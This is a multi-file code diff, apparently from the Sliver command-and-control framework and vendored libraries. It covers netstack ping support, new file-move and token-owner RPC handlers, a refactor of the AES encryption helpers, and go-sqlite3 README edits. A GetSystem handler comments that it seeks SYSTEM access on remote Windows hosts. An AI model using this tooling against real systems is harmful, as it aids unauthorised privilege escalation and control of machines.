TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol, icmp.NewProtocol6, icmp.NewProtocol4},
|
||||
HandleLocal: true,
|
||||
}
|
||||
dev := &netTun{
|
||||
@@ -109,33 +119,31 @@ func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Ne
|
||||
return nil, nil, fmt.Errorf("CreateNIC: %v", tcpipErr)
|
||||
}
|
||||
for _, ip := range localAddresses {
|
||||
if ip4 := ip.To4(); ip4 != nil {
|
||||
tcpipErr = dev.stack.AddAddress(1, ipv4.ProtocolNumber, tcpip.Address(ip4))
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
|
||||
}
|
||||
var protoNumber tcpip.NetworkProtocolNumber
|
||||
if ip.Is4() {
|
||||
protoNumber = ipv4.ProtocolNumber
|
||||
} else if ip.Is6() {
|
||||
protoNumber = ipv6.ProtocolNumber
|
||||
}
|
||||
protoAddr := tcpip.ProtocolAddress{
|
||||
Protocol: protoNumber,
|
||||
AddressWithPrefix: tcpip.Address(ip.AsSlice()).WithPrefix(),
|
||||
}
|
||||
tcpipErr := dev.stack.AddProtocolAddress(1, protoAddr, stack.AddressProperties{})
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("AddProtocolAddress(%v): %v", ip, tcpipErr)
|
||||
}
|
||||
if ip.Is4() {
|
||||
dev.hasV4 = true
|
||||
} else {
|
||||
tcpipErr = dev.stack.AddAddress(1, ipv6.ProtocolNumber, tcpip.Address(ip))
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
|
||||
}
|
||||
} else if ip.Is6() {
|
||||
dev.hasV6 = true
|
||||
}
|
||||
}
|
||||
if dev.hasV4 {
|
||||
dev.stack.AddRoute(tcpip.Route{Destination: header.IPv4EmptySubnet, NIC: 1})
|
||||
tcpipErr = dev.stack.SetForwarding(header.IPv4ProtocolNumber, true)
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("SetForwarding(): %v", tcpipErr)
|
||||
}
|
||||
}
|
||||
if dev.hasV6 {
|
||||
dev.stack.AddRoute(tcpip.Route{Destination: header.IPv6EmptySubnet, NIC: 1})
|
||||
tcpipErr = dev.stack.SetForwarding(header.IPv6ProtocolNumber, true)
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("SetForwarding(): %v", tcpipErr)
|
||||
}
|
||||
}
|
||||
|
||||
dev.events <- tun.EventUp
|
||||
@@ -199,62 +207,291 @@ func (tun *netTun) MTU() (int, error) {
|
||||
return tun.mtu, nil
|
||||
}
|
||||
|
||||
func convertToFullAddr(ip net.IP, port int) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
|
||||
if ip4 := ip.To4(); ip4 != nil {
|
||||
return tcpip.FullAddress{
|
||||
NIC: 1,
|
||||
Addr: tcpip.Address(ip4),
|
||||
Port: uint16(port),
|
||||
}, ipv4.ProtocolNumber
|
||||
func convertToFullAddr(endpoint netip.AddrPort) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
|
||||
var protoNumber tcpip.NetworkProtocolNumber
|
||||
if endpoint.Addr().Is4() {
|
||||
protoNumber = ipv4.ProtocolNumber
|
||||
} else {
|
||||
return tcpip.FullAddress{
|
||||
NIC: 1,
|
||||
Addr: tcpip.Address(ip),
|
||||
Port: uint16(port),
|
||||
}, ipv6.ProtocolNumber
|
||||
protoNumber = ipv6.ProtocolNumber
|
||||
}
|
||||
return tcpip.FullAddress{
|
||||
NIC: 1,
|
||||
Addr: tcpip.Address(endpoint.Addr().AsSlice()),
|
||||
Port: endpoint.Port(),
|
||||
}, protoNumber
|
||||
}
|
||||
|
||||
func (net *Net) DialContextTCPAddrPort(ctx context.Context, addr netip.AddrPort) (*gonet.TCPConn, error) {
|
||||
fa, pn := convertToFullAddr(addr)
|
||||
return gonet.DialContextTCP(ctx, net.stack, fa, pn)
|
||||
}
|
||||
|
||||
func (net *Net) DialContextTCP(ctx context.Context, addr *net.TCPAddr) (*gonet.TCPConn, error) {
|
||||
if addr == nil {
|
||||
panic("todo: deal with auto addr semantics for nil addr")
|
||||
return net.DialContextTCPAddrPort(ctx, netip.AddrPort{})
|
||||
}
|
||||
fa, pn := convertToFullAddr(addr.IP, addr.Port)
|
||||
return gonet.DialContextTCP(ctx, net.stack, fa, pn)
|
||||
ip, _ := netip.AddrFromSlice(addr.IP)
|
||||
return net.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(ip, uint16(addr.Port)))
|
||||
}
|
||||
|
||||
func (net *Net) DialTCPAddrPort(addr netip.AddrPort) (*gonet.TCPConn, error) {
|
||||
fa, pn := convertToFullAddr(addr)
|
||||
return gonet.DialTCP(net.stack, fa, pn)
|
||||
}
|
||||
|
||||
func (net *Net) DialTCP(addr *net.TCPAddr) (*gonet.TCPConn, error) {
|
||||
if addr == nil {
|
||||
panic("todo: deal with auto addr semantics for nil addr")
|
||||
return net.DialTCPAddrPort(netip.AddrPort{})
|
||||
}
|
||||
fa, pn := convertToFullAddr(addr.IP, addr.Port)
|
||||
return gonet.DialTCP(net.stack, fa, pn)
|
||||
ip, _ := netip.AddrFromSlice(addr.IP)
|
||||
return net.DialTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
|
||||
}
|
||||
|
||||
func (net *Net) ListenTCPAddrPort(addr netip.AddrPort) (*gonet.TCPListener, error) {
|
||||
fa, pn := convertToFullAddr(addr)
|
||||
return gonet.ListenTCP(net.stack, fa, pn)
|
||||
}
|
||||
|
||||
func (net *Net) ListenTCP(addr *net.TCPAddr) (*gonet.TCPListener, error) {
|
||||
if addr == nil {
|
||||
panic("todo: deal with auto addr semantics for nil addr")
|
||||
return net.ListenTCPAddrPort(netip.AddrPort{})
|
||||
}
|
||||
fa, pn := convertToFullAddr(addr.IP, addr.Port)
|
||||
return gonet.ListenTCP(net.stack, fa, pn)
|
||||
ip, _ := netip.AddrFromSlice(addr.IP)
|
||||
return net.ListenTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
|
||||
}
|
||||
|
||||
func (net *Net) DialUDP(laddr, raddr *net.UDPAddr) (*gonet.UDPConn, error) {
|
||||
func (net *Net) DialUDPAddrPort(laddr, raddr netip.AddrPort) (*gonet.UDPConn, error) {
|
||||
var lfa, rfa *tcpip.FullAddress
|
||||
var pn tcpip.NetworkProtocolNumber
|
||||
if laddr != nil {
|
||||
if laddr.IsValid() || laddr.Port() > 0 {
|
||||
var addr tcpip.FullAddress
|
||||
addr, pn = convertToFullAddr(laddr.IP, laddr.Port)
|
||||
addr, pn = convertToFullAddr(laddr)
|
||||
lfa = &addr
|
||||
}
|
||||
if raddr != nil {
|
||||
if raddr.IsValid() || raddr.Port() > 0 {
|
||||
var addr tcpip.FullAddress
|
||||
addr, pn = convertToFullAddr(raddr.IP, raddr.Port)
|
||||
addr, pn = convertToFullAddr(raddr)
|
||||
rfa = &addr
|
||||
}
|
||||
return gonet.DialUDP(net.stack, lfa, rfa, pn)
|
||||
}
|
||||
|
||||
func (net *Net) ListenUDPAddrPort(laddr netip.AddrPort) (*gonet.UDPConn, error) {
|
||||
return net.DialUDPAddrPort(laddr, netip.AddrPort{})
|
||||
}
|
||||
|
||||
func (net *Net) DialUDP(laddr, raddr *net.UDPAddr) (*gonet.UDPConn, error) {
|
||||
var la, ra netip.AddrPort
|
||||
if laddr != nil {
|
||||
ip, _ := netip.AddrFromSlice(laddr.IP)
|
||||
la = netip.AddrPortFrom(ip, uint16(laddr.Port))
|
||||
}
|
||||
if raddr != nil {
|
||||
ip, _ := netip.AddrFromSlice(raddr.IP)
|
||||
ra = netip.AddrPortFrom(ip, uint16(raddr.Port))
|
||||
}
|
||||
return net.DialUDPAddrPort(la, ra)
|
||||
}
|
||||
|
||||
func (net *Net) ListenUDP(laddr *net.UDPAddr) (*gonet.UDPConn, error) {
|
||||
return net.DialUDP(laddr, nil)
|
||||
}
|
||||
|
||||
type PingConn struct {
|
||||
laddr PingAddr
|
||||
raddr PingAddr
|
||||
wq waiter.Queue
|
||||
ep tcpip.Endpoint
|
||||
deadline *time.Timer
|
||||
}
|
||||
|
||||
type PingAddr struct{ addr netip.Addr }
|
||||
|
||||
func (ia PingAddr) String() string {
|
||||
return ia.addr.String()
|
||||
}
|
||||
|
||||
func (ia PingAddr) Network() string {
|
||||
if ia.addr.Is4() {
|
||||
return "ping4"
|
||||
} else if ia.addr.Is6() {
|
||||
return "ping6"
|
||||
}
|
||||
return "ping"
|
||||
}
|
||||
|
||||
func (ia PingAddr) Addr() netip.Addr {
|
||||
return ia.addr
|
||||
}
|
||||
|
||||
func PingAddrFromAddr(addr netip.Addr) *PingAddr {
|
||||
return &PingAddr{addr}
|
||||
}
|
||||
|
||||
func (net *Net) DialPingAddr(laddr, raddr netip.Addr) (*PingConn, error) {
|
||||
if !laddr.IsValid() && !raddr.IsValid() {
|
||||
return nil, errors.New("ping dial: invalid address")
|
||||
}
|
||||
v6 := laddr.Is6() || raddr.Is6()
|
||||
bind := laddr.IsValid()
|
||||
if !bind {
|
||||
if v6 {
|
||||
laddr = netip.IPv6Unspecified()
|
||||
} else {
|
||||
laddr = netip.IPv4Unspecified()
|
||||
}
|
||||
}
|
||||
|
||||
tn := icmp.ProtocolNumber4
|
||||
pn := ipv4.ProtocolNumber
|
||||
if v6 {
|
||||
tn = icmp.ProtocolNumber6
|
||||
pn = ipv6.ProtocolNumber
|
||||
}
|
||||
|
||||
pc := &PingConn{
|
||||
laddr: PingAddr{laddr},
|
||||
deadline: time.NewTimer(time.Hour << 10),
|
||||
}
|
||||
pc.deadline.Stop()
|
||||
|
||||
ep, tcpipErr := net.stack.NewEndpoint(tn, pn, &pc.wq)
|
||||
if tcpipErr != nil {
|
||||
return nil, fmt.Errorf("ping socket: endpoint: %s", tcpipErr)
|
||||
}
|
||||
pc.ep = ep
|
||||
|
||||
if bind {
|
||||
fa, _ := convertToFullAddr(netip.AddrPortFrom(laddr, 0))
|
||||
if tcpipErr = pc.ep.Bind(fa); tcpipErr != nil {
|
||||
return nil, fmt.Errorf("ping bind: %s", tcpipErr)
|
||||
}
|
||||
}
|
||||
|
||||
if raddr.IsValid() {
|
||||
pc.raddr = PingAddr{raddr}
|
||||
fa, _ := convertToFullAddr(netip.AddrPortFrom(raddr, 0))
|
||||
if tcpipErr = pc.ep.Connect(fa); tcpipErr != nil {
|
||||
return nil, fmt.Errorf("ping connect: %s", tcpipErr)
|
||||
}
|
||||
}
|
||||
|
||||
return pc, nil
|
||||
}
|
||||
|
||||
func (net *Net) ListenPingAddr(laddr netip.Addr) (*PingConn, error) {
|
||||
return net.DialPingAddr(laddr, netip.Addr{})
|
||||
}
|
||||
|
||||
func (net *Net) DialPing(laddr, raddr *PingAddr) (*PingConn, error) {
|
||||
var la, ra netip.Addr
|
||||
if laddr != nil {
|
||||
la = laddr.addr
|
||||
}
|
||||
if raddr != nil {
|
||||
ra = raddr.addr
|
||||
}
|
||||
return net.DialPingAddr(la, ra)
|
||||
}
|
||||
|
||||
func (net *Net) ListenPing(laddr *PingAddr) (*PingConn, error) {
|
||||
var la netip.Addr
|
||||
if laddr != nil {
|
||||
la = laddr.addr
|
||||
}
|
||||
return net.ListenPingAddr(la)
|
||||
}
|
||||
|
||||
func (pc *PingConn) LocalAddr() net.Addr {
|
||||
return pc.laddr
|
||||
}
|
||||
|
||||
func (pc *PingConn) RemoteAddr() net.Addr {
|
||||
return pc.raddr
|
||||
}
|
||||
|
||||
func (pc *PingConn) Close() error {
|
||||
pc.deadline.Reset(0)
|
||||
pc.ep.Close()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (pc *PingConn) SetWriteDeadline(t time.Time) error {
|
||||
return errors.New("not implemented")
|
||||
}
|
||||
|
||||
func (pc *PingConn) WriteTo(p []byte, addr net.Addr) (n int, err error) {
|
||||
var na netip.Addr
|
||||
switch v := addr.(type) {
|
||||
case *PingAddr:
|
||||
na = v.addr
|
||||
case *net.IPAddr:
|
||||
na, _ = netip.AddrFromSlice(v.IP)
|
||||
default:
|
||||
return 0, fmt.Errorf("ping write: wrong net.Addr type")
|
||||
}
|
||||
if !((na.Is4() && pc.laddr.addr.Is4()) || (na.Is6() && pc.laddr.addr.Is6())) {
|
||||
return 0, fmt.Errorf("ping write: mismatched protocols")
|
||||
}
|
||||
|
||||
buf := buffer.NewViewFromBytes(p)
|
||||
rdr := buf.Reader()
|
||||
rfa, _ := convertToFullAddr(netip.AddrPortFrom(na, 0))
|
||||
// won't block, no deadlines
|
||||
n64, tcpipErr := pc.ep.Write(&rdr, tcpip.WriteOptions{
|
||||
To: &rfa,
|
||||
})
|
||||
if tcpipErr != nil {
|
||||
return int(n64), fmt.Errorf("ping write: %s", tcpipErr)
|
||||
}
|
||||
|
||||
return int(n64), nil
|
||||
}
|
||||
|
||||
func (pc *PingConn) Write(p []byte) (n int, err error) {
|
||||
return pc.WriteTo(p, &pc.raddr)
|
||||
}
|
||||
|
||||
func (pc *PingConn) ReadFrom(p []byte) (n int, addr net.Addr, err error) {
|
||||
e, notifyCh := waiter.NewChannelEntry(nil)
|
||||
pc.wq.EventRegister(&e, waiter.EventIn)
|
||||
defer pc.wq.EventUnregister(&e)
|
||||
|
||||
select {
|
||||
case <-pc.deadline.C:
|
||||
return 0, nil, os.ErrDeadlineExceeded
|
||||
case <-notifyCh:
|
||||
}
|
||||
|
||||
w := tcpip.SliceWriter(p)
|
||||
|
||||
res, tcpipErr := pc.ep.Read(&w, tcpip.ReadOptions{
|
||||
NeedRemoteAddr: true,
|
||||
})
|
||||
if tcpipErr != nil {
|
||||
return 0, nil, fmt.Errorf("ping read: %s", tcpipErr)
|
||||
}
|
||||
|
||||
remoteAddr, _ := netip.AddrFromSlice([]byte(res.RemoteAddr.Addr))
|
||||
return res.Count, &PingAddr{remoteAddr}, nil
|
||||
}
|
||||
|
||||
func (pc *PingConn) Read(p []byte) (n int, err error) {
|
||||
n, _, err = pc.ReadFrom(p)
|
||||
return
|
||||
}
|
||||
|
||||
func (pc *PingConn) SetDeadline(t time.Time) error {
|
||||
// pc.SetWriteDeadline is unimplemented
|
||||
|
||||
return pc.SetReadDeadline(t)
|
||||
}
|
||||
|
||||
func (pc *PingConn) SetReadDeadline(t time.Time) error {
|
||||
pc.deadline.Reset(t.Sub(time.Now()))
|
||||
return nil
|
||||
}
|
||||
|
||||
var (
|
||||
errNoSuchHost = errors.New("no such host")
|
||||
errLameReferral = errors.New("lame referral")
|
||||
@@ -430,7 +667,7 @@ func dnsStreamRoundTrip(c net.Conn, id uint16, query dnsmessage.Question, b []by
|
||||
return p, h, nil
|
||||
}
|
||||
|
||||
func (tnet *Net) exchange(ctx context.Context, server net.IP, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
|
||||
func (tnet *Net) exchange(ctx context.Context, server netip.Addr, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
|
||||
q.Class = dnsmessage.ClassINET
|
||||
id, udpReq, tcpReq, err := newRequest(q)
|
||||
if err != nil {
|
||||
@@ -444,16 +681,19 @@ func (tnet *Net) exchange(ctx context.Context, server net.IP, q dnsmessage.Quest
|
||||
var c net.Conn
|
||||
var err error
|
||||
if useUDP {
|
||||
c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: server, Port: 53})
|
||||
c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, netip.AddrPortFrom(server, 53))
|
||||
} else {
|
||||
c, err = tnet.DialContextTCP(ctx, &net.TCPAddr{IP: server, Port: 53})
|
||||
c, err = tnet.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(server, 53))
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return dnsmessage.Parser{}, dnsmessage.Header{}, err
|
||||
}
|
||||
if d, ok := ctx.Deadline(); ok && !d.IsZero() {
|
||||
c.SetDeadline(d)
|
||||
err := c.SetDeadline(d)
|
||||
if err != nil {
|
||||
return dnsmessage.Parser{}, dnsmessage.Header{}, err
|
||||
}
|
||||
}
|
||||
var p dnsmessage.Parser
|
||||
var h dnsmessage.Header
|
||||
@@ -597,8 +837,8 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
zlen = zidx
|
||||
}
|
||||
}
|
||||
if ip := net.ParseIP(host[:zlen]); ip != nil {
|
||||
return []string{host[:zlen]}, nil
|
||||
if ip, err := netip.ParseAddr(host[:zlen]); err == nil {
|
||||
return []string{ip.String()}, nil
|
||||
}
|
||||
|
||||
if !isDomainName(host) {
|
||||
@@ -609,7 +849,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
server string
|
||||
error
|
||||
}
|
||||
var addrsV4, addrsV6 []net.IP
|
||||
var addrsV4, addrsV6 []netip.Addr
|
||||
lanes := 0
|
||||
if tnet.hasV4 {
|
||||
lanes++
|
||||
@@ -664,7 +904,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
}
|
||||
break loop
|
||||
}
|
||||
addrsV4 = append(addrsV4, net.IP(a.A[:]))
|
||||
addrsV4 = append(addrsV4, netip.AddrFrom4(a.A))
|
||||
|
||||
case dnsmessage.TypeAAAA:
|
||||
aaaa, err := result.p.AAAAResource()
|
||||
@@ -676,7 +916,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
}
|
||||
break loop
|
||||
}
|
||||
addrsV6 = append(addrsV6, net.IP(aaaa.AAAA[:]))
|
||||
addrsV6 = append(addrsV6, netip.AddrFrom16(aaaa.AAAA))
|
||||
|
||||
default:
|
||||
if err := result.p.SkipAnswer(); err != nil {
|
||||
@@ -692,7 +932,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
}
|
||||
}
|
||||
// We don't do RFC6724. Instead just put V6 addresess first if an IPv6 address is enabled
|
||||
var addrs []net.IP
|
||||
var addrs []netip.Addr
|
||||
if tnet.hasV6 {
|
||||
addrs = append(addrsV6, addrsV4...)
|
||||
} else {
|
||||
@@ -729,44 +969,48 @@ func partialDeadline(now, deadline time.Time, addrsRemaining int) (time.Time, er
|
||||
return now.Add(timeout), nil
|
||||
}
|
||||
|
||||
var protoSplitter = regexp.MustCompile(`^(tcp|udp|ping)(4|6)?$`)
|
||||
|
||||
func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
|
||||
if ctx == nil {
|
||||
panic("nil context")
|
||||
}
|
||||
var acceptV4, acceptV6, useUDP bool
|
||||
if len(network) == 3 {
|
||||
var acceptV4, acceptV6 bool
|
||||
matches := protoSplitter.FindStringSubmatch(network)
|
||||
if matches == nil {
|
||||
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
|
||||
} else if len(matches[2]) == 0 {
|
||||
acceptV4 = true
|
||||
acceptV6 = true
|
||||
} else if len(network) == 4 {
|
||||
acceptV4 = network[3] == '4'
|
||||
acceptV6 = network[3] == '6'
|
||||
} else {
|
||||
acceptV4 = matches[2][0] == '4'
|
||||
acceptV6 = !acceptV4
|
||||
}
|
||||
if !acceptV4 && !acceptV6 {
|
||||
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
|
||||
}
|
||||
if network[:3] == "udp" {
|
||||
useUDP = true
|
||||
} else if network[:3] != "tcp" {
|
||||
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
|
||||
}
|
||||
host, sport, err := net.SplitHostPort(address)
|
||||
if err != nil {
|
||||
return nil, &net.OpError{Op: "dial", Err: err}
|
||||
}
|
||||
port, err := strconv.Atoi(sport)
|
||||
if err != nil || port < 0 || port > 65535 {
|
||||
return nil, &net.OpError{Op: "dial", Err: errNumericPort}
|
||||
var host string
|
||||
var port int
|
||||
if matches[1] == "ping" {
|
||||
host = address
|
||||
} else {
|
||||
var sport string
|
||||
var err error
|
||||
host, sport, err = net.SplitHostPort(address)
|
||||
if err != nil {
|
||||
return nil, &net.OpError{Op: "dial", Err: err}
|
||||
}
|
||||
port, err = strconv.Atoi(sport)
|
||||
if err != nil || port < 0 || port > 65535 {
|
||||
return nil, &net.OpError{Op: "dial", Err: errNumericPort}
|
||||
}
|
||||
}
|
||||
allAddr, err := tnet.LookupContextHost(ctx, host)
|
||||
if err != nil {
|
||||
return nil, &net.OpError{Op: "dial", Err: err}
|
||||
}
|
||||
var addrs []net.IP
|
||||
var addrs []netip.AddrPort
|
||||
for _, addr := range allAddr {
|
||||
if strings.IndexByte(addr, ':') != -1 && acceptV6 {
|
||||
addrs = append(addrs, net.ParseIP(addr))
|
||||
} else if strings.IndexByte(addr, '.') != -1 && acceptV4 {
|
||||
addrs = append(addrs, net.ParseIP(addr))
|
||||
ip, err := netip.ParseAddr(addr)
|
||||
if err == nil && ((ip.Is4() && acceptV4) || (ip.Is6() && acceptV6)) {
|
||||
addrs = append(addrs, netip.AddrPortFrom(ip, uint16(port)))
|
||||
}
|
||||
}
|
||||
if len(addrs) == 0 && len(allAddr) != 0 {
|
||||
@@ -804,10 +1048,13 @@ func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.
|
||||
}
|
||||
|
||||
var c net.Conn
|
||||
if useUDP {
|
||||
c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: addr, Port: port})
|
||||
} else {
|
||||
c, err = tnet.DialContextTCP(dialCtx, &net.TCPAddr{IP: addr, Port: port})
|
||||
switch matches[1] {
|
||||
case "tcp":
|
||||
c, err = tnet.DialContextTCPAddrPort(dialCtx, addr)
|
||||
case "udp":
|
||||
c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, addr)
|
||||
case "ping":
|
||||
c, err = tnet.DialPingAddr(netip.Addr{}, addr.Addr())
|
||||
}
|
||||
if err == nil {
|
||||
return c, nil
|
||||
|
||||
@@ -45,6 +45,16 @@ func (rpc *Server) Ls(ctx context.Context, req *sliverpb.LsReq) (*sliverpb.Ls, e
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// Mv - Move or rename a file
|
||||
func (rpc *Server) Mv(ctx context.Context, req *sliverpb.MvReq) (*sliverpb.Mv, error) {
|
||||
resp := &sliverpb.Mv{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// Rm - Remove file or directory
|
||||
func (rpc *Server) Rm(ctx context.Context, req *sliverpb.RmReq) (*sliverpb.Rm, error) {
|
||||
resp := &sliverpb.Rm{Response: &commonpb.Response{}}
|
||||
@@ -75,7 +85,7 @@ func (rpc *Server) Cd(ctx context.Context, req *sliverpb.CdReq) (*sliverpb.Pwd,
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// Pwd - Change directory
|
||||
// Pwd - Print working directory
|
||||
func (rpc *Server) Pwd(ctx context.Context, req *sliverpb.PwdReq) (*sliverpb.Pwd, error) {
|
||||
resp := &sliverpb.Pwd{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
|
||||
@@ -62,6 +62,16 @@ func (rpc *Server) RevToSelf(ctx context.Context, req *sliverpb.RevToSelfReq) (*
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// CurrentTokenOwner - Retrieve the thread token's owner
|
||||
func (rpc *Server) CurrentTokenOwner(ctx context.Context, req *sliverpb.CurrentTokenOwnerReq) (*sliverpb.CurrentTokenOwner, error) {
|
||||
resp := &sliverpb.CurrentTokenOwner{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// GetSystem - Attempt to get 'NT AUTHORITY/SYSTEM' access on a remote Windows system
|
||||
func (rpc *Server) GetSystem(ctx context.Context, req *clientpb.GetSystemReq) (*sliverpb.GetSystem, error) {
|
||||
var shellcode []byte
|
||||
|
||||
@@ -22,61 +22,43 @@ import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
var EncryptionKey *string
|
||||
|
||||
//Encrypt the results
|
||||
func Encrypt(bites []byte) []byte {
|
||||
plainText, err := pad(bites, aes.BlockSize)
|
||||
func Encrypt(data []byte, key []byte, iv []byte) []byte {
|
||||
plainText, err := pad(data, aes.BlockSize)
|
||||
if err != nil {
|
||||
return make([]byte, 0)
|
||||
}
|
||||
block, _ := aes.NewCipher([]byte(*EncryptionKey))
|
||||
block, _ := aes.NewCipher(key)
|
||||
cipherText := make([]byte, aes.BlockSize+len(plainText))
|
||||
iv := cipherText[:aes.BlockSize]
|
||||
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
|
||||
return make([]byte, 0)
|
||||
// Create a random IV if none was provided
|
||||
// len(nil) returns 0
|
||||
if len(iv) == 0 {
|
||||
iv = cipherText[:aes.BlockSize]
|
||||
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
|
||||
return make([]byte, 0)
|
||||
}
|
||||
}
|
||||
mode := cipher.NewCBCEncrypter(block, iv)
|
||||
mode.CryptBlocks(cipherText[aes.BlockSize:], plainText)
|
||||
return []byte(fmt.Sprintf("%x", cipherText))
|
||||
}
|
||||
|
||||
func EncryptStage(bites []byte, AESKey string, AESIV string) []byte {
|
||||
bites, err := pad(bites, aes.BlockSize)
|
||||
if err != nil {
|
||||
return make([]byte, 0)
|
||||
}
|
||||
|
||||
aesKeyBytes := []byte(AESKey)
|
||||
aesIVBytes := []byte(AESIV)
|
||||
|
||||
block, _ := aes.NewCipher(aesKeyBytes)
|
||||
cipherText := make([]byte, aes.BlockSize+len(bites))
|
||||
mode := cipher.NewCBCEncrypter(block, aesIVBytes)
|
||||
mode.CryptBlocks(cipherText, bites)
|
||||
|
||||
return cipherText
|
||||
}
|
||||
|
||||
//Decrypt a command
|
||||
func Decrypt(text string) string {
|
||||
cipherText, _ := hex.DecodeString(text)
|
||||
block, err := aes.NewCipher([]byte(*EncryptionKey))
|
||||
func Decrypt(data []byte, key []byte) []byte {
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return ""
|
||||
return nil
|
||||
}
|
||||
iv := cipherText[:aes.BlockSize]
|
||||
cipherText = cipherText[aes.BlockSize:]
|
||||
iv := data[:aes.BlockSize]
|
||||
data = data[aes.BlockSize:]
|
||||
mode := cipher.NewCBCDecrypter(block, iv)
|
||||
mode.CryptBlocks(cipherText, cipherText)
|
||||
cipherText, _ = unpad(cipherText, aes.BlockSize)
|
||||
return string(cipherText)
|
||||
mode.CryptBlocks(data, data)
|
||||
data, _ = unpad(data, aes.BlockSize)
|
||||
return data
|
||||
}
|
||||
|
||||
func pad(buf []byte, size int) ([]byte, error) {
|
||||
+2
@@ -1,3 +1,5 @@
|
||||
// +build windows
|
||||
|
||||
// Package guid provides a GUID type. The backing structure for a GUID is
|
||||
// identical to that used by the golang.org/x/sys/windows GUID type.
|
||||
// There are two main binary encodings used for a GUID, the big-endian encoding,
|
||||
|
||||
+55
-56
@@ -7,17 +7,17 @@ go-sqlite3
|
||||
[](https://codecov.io/gh/mattn/go-sqlite3)
|
||||
[](https://goreportcard.com/report/github.com/mattn/go-sqlite3)
|
||||
|
||||
Latest stable version is v1.14 or later not v2.
|
||||
Latest stable version is v1.14 or later, not v2.
|
||||
|
||||
~~**NOTE:** The increase to v2 was an accident. There were no major changes or features.~~
|
||||
|
||||
# Description
|
||||
|
||||
sqlite3 driver conforming to the built-in database/sql interface
|
||||
A sqlite3 driver that conforms to the built-in database/sql interface.
|
||||
|
||||
Supported Golang version: See [.github/workflows/go.yaml](./.github/workflows/go.yaml)
|
||||
Supported Golang version: See [.github/workflows/go.yaml](./.github/workflows/go.yaml).
|
||||
|
||||
[This package follows the official Golang Release Policy.](https://golang.org/doc/devel/release.html#policy)
|
||||
This package follows the official [Golang Release Policy](https://golang.org/doc/devel/release.html#policy).
|
||||
|
||||
### Overview
|
||||
|
||||
@@ -64,7 +64,7 @@ Supported Golang version: See [.github/workflows/go.yaml](./.github/workflows/go
|
||||
|
||||
# Installation
|
||||
|
||||
This package can be installed with the go get command:
|
||||
This package can be installed with the `go get` command:
|
||||
|
||||
go get github.com/mattn/go-sqlite3
|
||||
|
||||
@@ -72,28 +72,28 @@ _go-sqlite3_ is *cgo* package.
|
||||
If you want to build your app using go-sqlite3, you need gcc.
|
||||
However, after you have built and installed _go-sqlite3_ with `go install github.com/mattn/go-sqlite3` (which requires gcc), you can build your app without relying on gcc in future.
|
||||
|
||||
***Important: because this is a `CGO` enabled package you are required to set the environment variable `CGO_ENABLED=1` and have a `gcc` compile present within your path.***
|
||||
***Important: because this is a `CGO` enabled package, you are required to set the environment variable `CGO_ENABLED=1` and have a `gcc` compile present within your path.***
|
||||
|
||||
# API Reference
|
||||
|
||||
API documentation can be found here: http://godoc.org/github.com/mattn/go-sqlite3
|
||||
API documentation can be found [here](http://godoc.org/github.com/mattn/go-sqlite3).
|
||||
|
||||
Examples can be found under the [examples](./_example) directory
|
||||
Examples can be found under the [examples](./_example) directory.
|
||||
|
||||
# Connection String
|
||||
|
||||
When creating a new SQLite database or connection to an existing one, with the file name additional options can be given.
|
||||
This is also known as a DSN string. (Data Source Name).
|
||||
This is also known as a DSN (Data Source Name) string.
|
||||
|
||||
Options are append after the filename of the SQLite database.
|
||||
The database filename and options are seperated by an `?` (Question Mark).
|
||||
The database filename and options are separated by an `?` (Question Mark).
|
||||
